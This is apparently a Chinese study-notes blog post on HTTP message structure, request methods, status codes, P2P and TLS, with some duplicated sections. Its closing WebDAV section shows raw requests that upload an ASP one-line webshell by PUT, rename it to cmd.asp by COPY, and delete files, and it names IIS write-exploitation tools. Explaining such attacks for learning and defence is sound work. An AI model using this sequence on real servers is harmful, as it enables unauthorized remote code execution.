网络协议漫游-HTTP | TCP/IP | P2P

网络协议漫游-HTTP | TCP/IP | P2P

HTTP协议入水

  • 概述
    客户端 服务器端 通信,通过HTTP协议,
    HTTP报文的形式来实现数据的交互。

HTTP报文是HTTP通信时发送的数据块

  • HTTP报文结构

由三部分组成 状态行(请求行 | 响应行)、首部、主体

也有 说是由  首部和主体 两部分 组成,状态行包含在首部中

在这里插入图片描述
HTTP报文
分为请求报文响应报文

请求报文向服务器传达请求
在这里插入图片描述

响应报文将请求的结果返回给客户端
在这里插入图片描述

HTTP报文以状态行开始,
跟在后面的是HTTP首部,首部由多个首部字段构成,每行一个首部字段
HTTP首部后是一个空行,
然后是报文主体。


状态行和首部中的每行
都是以回车符(\r,%0d,CR)换行符(\n,%0a,LF)结束,
这是因为HTTP规范中行应该使用CRLF结束。

另外,首部和主体之间由一空行隔开,
或者可以理解为HTTP首部的最后一个字段有两个CRLF

与状态行和首部不同的是,
主体是可选的,也就是说报文中不一定要有主体;
另外状态行和首部是ASCII文本,主体可包含文本二进制数据
在这里插入图片描述


状态行

HTTP报文以状态行开始
请求报文中的状态行叫请求行
响应报文中的状态行叫响应行


请求行 由
请求方法、URL、协议版本组成,这些字段都由空格分隔
在这里插入图片描述
请求行表明要对哪个资源执行哪个 请求方法


响应行
协议版本、状态码、原因短语(状态码描述)组成。这些字段同样都由空格分隔
在这里插入图片描述
响应行表明了服务器对请求的处理结果,由状态码体现。
原因短语是数字状态码的可读版本,描述数字状态码的含义,便于人理解,只对人有意义

HTTP/1.0 200 NOT OK    
HTTP/1.0 200 OK

两种响应行都会被当作成功处理


请求行和响应行中都包含HTTP版本号,其格式为

HTTP/.

major是主版本号,
minor是次版本号,使用版本号的目的是规范双方之间通信的格式


首部

HTTP首部由
多个首部字段构成,旨在向报文中添加一些通信过程中所需的重要信息。

主体

报文主体包含了HTTP所要传输的内容,但并不是所有的报文都有主体。

  • 3 请求方法

  • 协议://服务器ip:[端口]/路径/[?查询]

  • Linux —>Curl命令 / windows —>curl.exe 请求HTTP

  • 命令 curl xxx.com - I HTTP响应头


HTTP 无状态协议详解

web浏览器-web服务器之间不需要建立持久连接
请求 ----->Response(响应)----->关闭
(在服务器端不保留连接有关信息)

  • HTTP请求只能由客户端发起
  • 服务端不能主动向客户端发送数据
  • 遵循 客户端请求(Request)/服务端处理、应答(Response)模型

HTTP请求与响应
HTTP请求 三部分

在这里插入图片描述

  • HTTP 请求行 第一行(请求方法)
    三部分
    1. POST GET HEAD PUT DELETE TRACE CONNECT OPTIONS
    2. 一个斜杠(/login.aspx)说明请求是 域名根目录哪个文件发出的
    3. 使用 HTTP1.1 或 1.0

在这里插入图片描述

  • 第二行–>空白行 请求头 (消息报文/头)
  1. Host 主机地址
  2. User-Agent 浏览器标识(客户端自行设定)

  • (空白行 代表上一个 结束)

  • 请求正文 (可选)常出现在POST请求
# HTTP响应

三部分
在这里插入图片描述


  • 相应行
  1. HTTP版本
  2. 状态码
  3. 消息 OK
    在这里插入图片描述

  • 响应头(消息报头) 服务器---->客户端
    在这里插入图片描述

  • 空白行 表示响应头结束

  • 相应正文(消息主题) 服务器发给 客户端的 HTML数据
    在这里插入图片描述

深入浅出-HTTP协议请求方法

HTTP协议请求方法 字段( 告诉服务器要做什么)

状态行—>请求行—>请求方法字段

在这里插入图片描述

  不是所有的服务器都会实现这些方法,一般都会实现GET和POST方法。另外,请求方法需要大写。

GET: 请求指定的页面信息,并返回实体主体。
HEAD: 只请求页面的首部。
POST: 请求服务器接受所指定的文档作为对所标识的URI的新的从属实体。
PUT: 从客户端向服务器传送的数据取代指定的文档的内容。
DELETE: 请求服务器删除指定的页面。
OPTIONS: 允许客户端查看服务器的性能。
TRACE: 请求服务器在响应中的实体主体部分返回所得到的内容。
PATCH: 实体中包含一个表,表中说明与该URI所表示的原内容的区别。
MOVE: 请求服务器将指定的页面移至另一个网络地址。
COPY: 请求服务器将指定的页面拷贝至另一个网络地址。
LINK: 请求服务器建立链接关系。
UNLINK: 断开链接关系。
WRAPPED: 允许客户端发送经过封装的请求。
Extension-mothed:在不改动协议的前提下,可增加另外的方法。
—————————————————————————————————————

GET 获取/查询资源 请求页面指定信息(实体)

常用于请求URL指定的资源,服务端经过处理将资源返回给客户端

在这里插入图片描述

  • 请求资源为 动态资源 (非HTML) 返回文本 web容器解析 HTML源代码(非源文件)
    eg: index,jsp ----返回-----> 解析后的 HTML文件

在这里插入图片描述
请求 xxx.jsp xxxxid=xxx9 传递参数

https://mp.weixin.qq.com/s?__biz=MzU2NzY5MjAwNQ==&mid=2247483836&idx=1&sn=1b1ccd6f196c87b7f3bf4b1c585d9d9e&chksm=fc981e36cbef972043707782aaa968ba94a960adba855a35afc5e896edeb2160d513ab1667cf&scene=21

服务端 脚本语言 选择性接收 参数
eg:id=1&name=admin 有开发者内定好 参数 服务器项目才会接收
eg: 设定好只接收 id 参数项目 加入其他参数项
Index.php?id=1&username=admin (多个参数以&分隔)

脚本 不理会 只会接收id 参数----->查询数据 ---->发送HTML数据 (不会乱套)

HTTP 请求流程

  • B/S架构
    用户–>交互----->web请求—>客户端–>web服务器
  • 应用层协议—HTTP

HTTP协议解析

HyperText Transfer Protocol 超文本传输协议
(详细规定浏览器与万维网 通信规则)
万维网交换信息基础
HTML(超文本标记语言)文档从web服务器–>客户端–>浏览器

  • 发起Http请求
    浏览器–>url(统一资源定位符)互联网标准网页地址 ---->返回结果

  • 协议://服务器ip:[端口]/路径/[?查询]

  • Linux —>Curl命令 / windows —>curl.exe 请求HTTP

  • 命令 curl xxx.com - I HTTP响应头


HTTP 无状态协议详解

web浏览器-web服务器之间不需要建立持久连接
请求 ----->Response(响应)----->关闭
(在服务器端不保留连接有关信息)

  • HTTP请求只能由客户端发起
  • 服务端不能主动向客户端发送数据
  • 遵循 客户端请求(Request)/服务端处理、应答(Response)模型

HTTP请求与响应
HTTP请求 三部分

在这里插入图片描述

  • HTTP 请求行 第一行(请求方法)
    三部分
    1. POST GET HEAD PUT DELETE TRACE CONNECT OPTIONS
    2. 一个斜杠(/login.aspx)说明请求是 域名根目录哪个文件发出的
    3. 使用 HTTP1.1 或 1.0

在这里插入图片描述

  • 第二行–>空白行 请求头 (消息报文/头)
  1. Host 主机地址
  2. User-Agent 浏览器标识(客户端自行设定)

  • (空白行 代表上一个 结束)

  • 请求正文 (可选)常出现在POST请求
# HTTP响应

三部分
在这里插入图片描述


  • 相应行
  1. HTTP版本
  2. 状态码
  3. 消息 OK
    在这里插入图片描述

  • 响应头(消息报头) 服务器---->客户端
    在这里插入图片描述

  • 空白行 表示响应头结束

  • 相应正文(消息主题) 服务器发给 客户端的 HTML数据
    在这里插入图片描述

  • 深入浅出-HTTP协议请求方法

HTTP协议请求方法

在这里插入图片描述

GET: 请求指定的页面信息,并返回实体主体。
HEAD: 只请求页面的首部。

POST: 请求服务器接受所指定的文档作为对所标识的URI的新的从属实体。

PUT: 从客户端向服务器传送的数据取代指定的文档的内容。

DELETE: 请求服务器删除指定的页面。

OPTIONS: 允许客户端查看服务器的性能。

TRACE: 请求服务器在响应中的实体主体部分返回所得到的内容。

PATCH: 实体中包含一个表,表中说明与该URI所表示的原内容的区别。

MOVE: 请求服务器将指定的页面移至另一个网络地址。

COPY: 请求服务器将指定的页面拷贝至另一个网络地址。

LINK: 请求服务器建立链接关系。

UNLINK: 断开链接关系。

WRAPPED: 允许客户端发送经过封装的请求。

Extension-mothed:在不改动协议的前提下,可增加另外的方法。

在这里插入图片描述

GET 获取 请求页面指定信息(实体)

  • 请求资源为 动态资源 (非HTML) 返回文本 web容器解析 HTML源代码(非源文件)
    eg: index,jsp ----返回-----> 解析后的 HTML文件

在这里插入图片描述
请求 xxx.jsp xxxxid=xxx9
服务端 脚本语言 选择性接收 参数
eg:id=1&name=admin 有开发者内定好 参数 服务器项目才会接收
eg: 设定好只接收 id 参数项目 加入其他参数项
Index.php?id=1&username=admin (多个参数以&分隔)

脚本 不理会 只会接收id 参数----->查询数据 ---->发送HTML数据 (不会乱套)

HEAD 服务器不能在 响应里 返回 消息主体 其他同GET

  • HEAD 请求常常 被忽略,但是能提供很多有用的信息,
  • 特别是在有限的速度和带宽下。主要有以下特点:

1、只请求资源的首部;
这种方法可以用来获取请求中隐含的元信息,而不用传输实体本身。

  • HTTP头中包含的元信息应该和一个GET请求的响应消息相同
  • 得到Request-URI所标识的资源的信息

2、检查超链接的有效性、可访问性、;
----->编写扫描工具(测试资源是否存在)

3、检查网页是否被修改; 最近改变。

4、多用于自动搜索机器人获取网页的标志信息,获取rss种子信息,或者传递安全认证信息等

  • 一个HEAD请求的响应可被缓存,也就是说,
    响应中的信息可能用来更新之前缓存的实体。
    如果当前实体跟缓存实体的阈值不同
    (可通过Content-Length、Content-MD5、ETag或Last-Modified的变化来表明),
    那么这个缓存就被视为过期了。

POST 与GET(无请求内容)类似

用于向服务器发送 大量数据 (GET有长度限制 会将发送的数据显示在浏览器端)

  • 安全性高一些
  • 上传文件 提交留言 (向服务器发送大量的数据)

在这里插入图片描述

  • 用POST 向sended.asp 发送请求 -----> 传递参数 book_title xxxxxx

PUT 请求服务器把实体存储在请求资源下(存在替换,不存在创建 <-正文)

在这里插入图片描述

  • 主机根目录 创建shell.asp 内容一句话
  • 通常情况下 关闭PUT方法 防止危险方法建立文件

DELETE 请求 服务器删除指定资源

  • 危险方法 关闭 删除文件操作

TRACE 激发 远程 应用层请求消息回路 回显服务器收到请求

  • 允许客户端 了解数据 被请求链 的 另一端接收情况
  • 此方法少见
  • 利用数据信息去 测试 诊断

CONNECT

  • HTTP1.1 协议 保留 动态切换隧道代理

OPTIONS 获取 有URI标识 的 资源 在请求/响应过程中的 可用功能选项 在这里插入图片描述

  • 客户端 在采取具体资源请求 前 决定对 该资源 采取 何种 必要措施
  • 了解服务器 性能
    在这里插入图片描述

以上 HTTP1.1 标准方法

————
WEBDAV --基于HTTP /1.1 通讯协议 拓展

  • 使程序应用 可直接对 web server 读写

  • 支持 写文件锁定 Locking

  • 解锁Unlock

  • 文件复制 Copy

  • 文件移动 Move

  • 支持文件版本控制

  • 深入浅出-HTTP状态码

HTTP状态码

  • 客户端发出HTTP请求—>服务端接收---->向客户端发送响应信息。
  • 响应第一行 三维数字状态码
    在这里插入图片描述

错误码:

HTTP消息

1xx:指示信息
–表示请求已接收,继续处理。

消息: 描述:
100 Continue 服务器仅接收到部分请求,但是一旦服务器并没有拒绝该请求,客户端应该继续发送其余的请求。
101 Switching Protocols 服务器转换协议:服务器将遵从客户的请求转换到另外一种协议。

2xx:成功
–表示请求已被成功接收、理解、接受。

消息: 描述:
200 OK 请求成功(其后是对GET和POST请求的应答文档。)
201 Created 请求被创建完成,同时新的资源被创建。
202 Accepted 供处理的请求已被接受,但是处理未完成。
203 Non-authoritative Information 文档已经正常地返回,但一些应答头可能不正确,因为使用的是文档的拷贝。
204 No Content 没有新文档。浏览器应该继续显示原来的文档。如果用户定期地刷新页面,而Servlet可以确定用户文档足够新,这个状态代码是很有用的。
205 Reset Content 没有新文档。但浏览器应该重置它所显示的内容。用来强制浏览器清除表单输入内容。
206 Partial Content 客户发送了一个带有Range头的GET请求,服务器完成了它。

3xx:重定向
–要完成请求必须进行更进一步的操作。

消息: 描述:
300 Multiple Choices 多重选择。链接列表。用户可以选择某链接到达目的地。最多允许五个地址。
301 Moved Permanently 所请求的页面已经转移至新的url。
302 Found 所请求的页面已经临时转移至新的url。
303 See Other 所请求的页面可在别的url下被找到。
304 Not Modified 未按预期修改文档。客户端有缓冲的文档并发出了一个条件性的请求(一般是提供If-Modified-Since头表示客户只想比指定日期更新的文档)。服务器告诉客户,原来缓冲的文档还可以继续使用。
305 Use Proxy 客户请求的文档应该通过Location头所指明的代理服务器提取。
306 Unused 此代码被用于前一版本。目前已不再使用,但是代码依然被保留。
307 Temporary Redirect 被请求的页面已经临时移至新的url。

4xx:客户端错误
–请求有语法错误或请求无法实现。

消息: 描述:
400 Bad Request 服务器未能理解请求。
401 Unauthorized 被请求的页面需要用户名和密码。
402 Payment Required 此代码尚无法使用。
403 Forbidden 对被请求页面的访问被禁止。
404 Not Found 服务器无法找到被请求的页面。
405 Method Not Allowed 请求中指定的方法不被允许。
406 Not Acceptable 服务器生成的响应无法被客户端所接受。
407 Proxy Authentication Required 用户必须首先使用代理服务器进行验证,这样请求才会被处理。
408 Request Timeout 请求超出了服务器的等待时间。
409 Conflict 由于冲突,请求无法被完成。
410 Gone 被请求的页面不可用。
411 Length Required “Content-Length” 未被定义。如果无此内容,服务器不会接受请求。
412 Precondition Failed 请求中的前提条件被服务器评估为失败。
413 Request Entity Too Large 由于所请求的实体的太大,服务器不会接受请求。
414 Request-url Too Long 由于url太长,服务器不会接受请求。当post请求被转换为带有很长的查询信息的get请求时,就会发生这种情况。
415 Unsupported Media Type 由于媒介类型不被支持,服务器不会接受请求。
416 服务器不能满足客户在请求中指定的Range头。
417 Expectation Failed

5xx:服务器端错误
–服务器未能实现合法的请求。

消息: 描述:
500 Internal Server Error 请求未完成。服务器遇到不可预知的情况。
501 Not Implemented 请求未完成。服务器不支持所请求的功能。
502 Bad Gateway 请求未完成。服务器从上游服务器收到一个无效的响应。
503 Service Unavailable 请求未完成。服务器临时过载或当机。
504 Gateway Timeout 网关超时。
505 HTTP Version Not Supported 服务器不支持请求中指明的HTTP协议版本。

常见状态代码、状态描述 说明

200 OK:客户端请求成功。

400 Bad Request:客户端请求有语法错误,不能被服务器所理解。

401 Unauthorized:请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用。

403 Forbidden:服务器收到请求,但是拒绝提供服务。

404 Not Found:请求资源不存在,举个例子:输入了错误的URL。

500 Internal Server Error:服务器发生不可预期的错误。

503 Server Unavailable:服务器当前不能处理客户端的请求,一段时间后可能恢复正常,举个例子:HTTP/1.1 200 OK(CRLF)。

P2P( Peer-to-Peer)协议网络

定义:

1、Peer-to-peer

是一类允许一组用户互相连接并直接从用户硬盘上获取文件的网络。

2、Peer-to-peer网络

是一个运行于个人电脑上的应用,通过网络在用户间分享文件。

P2P网络通过连接个人电脑分享文件而不是通过中央服务器。

3、P2P是一种分布式网络,网络的参与者共享他们所拥有的一部分硬件资源

(处理能力、存储能力、网络连接能力、打印机等),

这些共享资源需要由网络提供服务和内容,能被其它对等节点(peer)直接访问而无需经过中间实体。

在此网络中的参与者既是资源(服务和内容)提供者(server),又是资源(服务和内容)获取者(client)。

TCP-IP详解

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

TLS   安全传输层协议

用于在两个通信应用程序之间提供保密性和数据完整性。
该协议由两层组成: TLS 记录协议(TLS Record)和 TLS 握手协议(TLS Handshake)。
SSL 是安全套接层 (Secure Sockets Layer) 
安全标准,
支持信息在用户与服务之间安全传递,确保信息免遭第三方截获。
如果要使 SSL 发挥作用,计算机需要与服务器进行通信。
为此,它会发送称为“heartbeat”(心跳)的信息。
heartbeat 所做的就是向服务器发送特定信号以确定服务器是否联机。
如果服务器联机,它会向计算机发送回该信号,让用户可以尽享安全的通信。
计算机和服务器会定期发送 heartbeat 以确定用户和服务器没有脱机。


OpenSSL 是一个开源项目,由开源爱好者和志愿者使用来自开发社区的信息进行更新和维护。
OpenSSL安全协议,
可以对用户与大多数网络服务所提供的服务器之间的通信进行加密。

WebDAV (Web-based Distributed Authoring and Versioning)
一种基于 HTTP 1.1协议的通信协议。

它扩展了HTTP 1.1,
在GET、POST、HEAD等几个HTTP标准方法
以外添加了一些新的方法,使应用程序可对Web Server直接读写

开启了WebDav 拓展 如果支持PUT、MOVE、Copy、Delect等方法
存在安全隐患
可通过PUT方法 向服务器上传危险脚本测试
用OPTIONS探测  服务器 所支持的方法
OPTIONS / HTTP/1.1
HOST: www.baidu.com

Allow:
Public:

PUT上传脚本文件
PUT /a.txt HTTP/1.1
HOST:xxx
Content-Length: 30

<%eval request("chopper") %>

HTTP/1.1 201 Created

通过Move 和 Copy方法改名
COPY /a.txt HTTP/1.1
HOST: www.baidu.com
Destination: http://www.baidu.com/cmd.asp

HTTP/1.1 201 Created
Destination: http://www.baidu.com/cmd.asp
获取webshell

DELECT 任意删除
PUT /a.txt HTTP/1.1
HOST: www.baidu.com

桂林老兵 IISPutScanner
桂林老兵IIS写权限利用程序.exe
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

amingMM

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值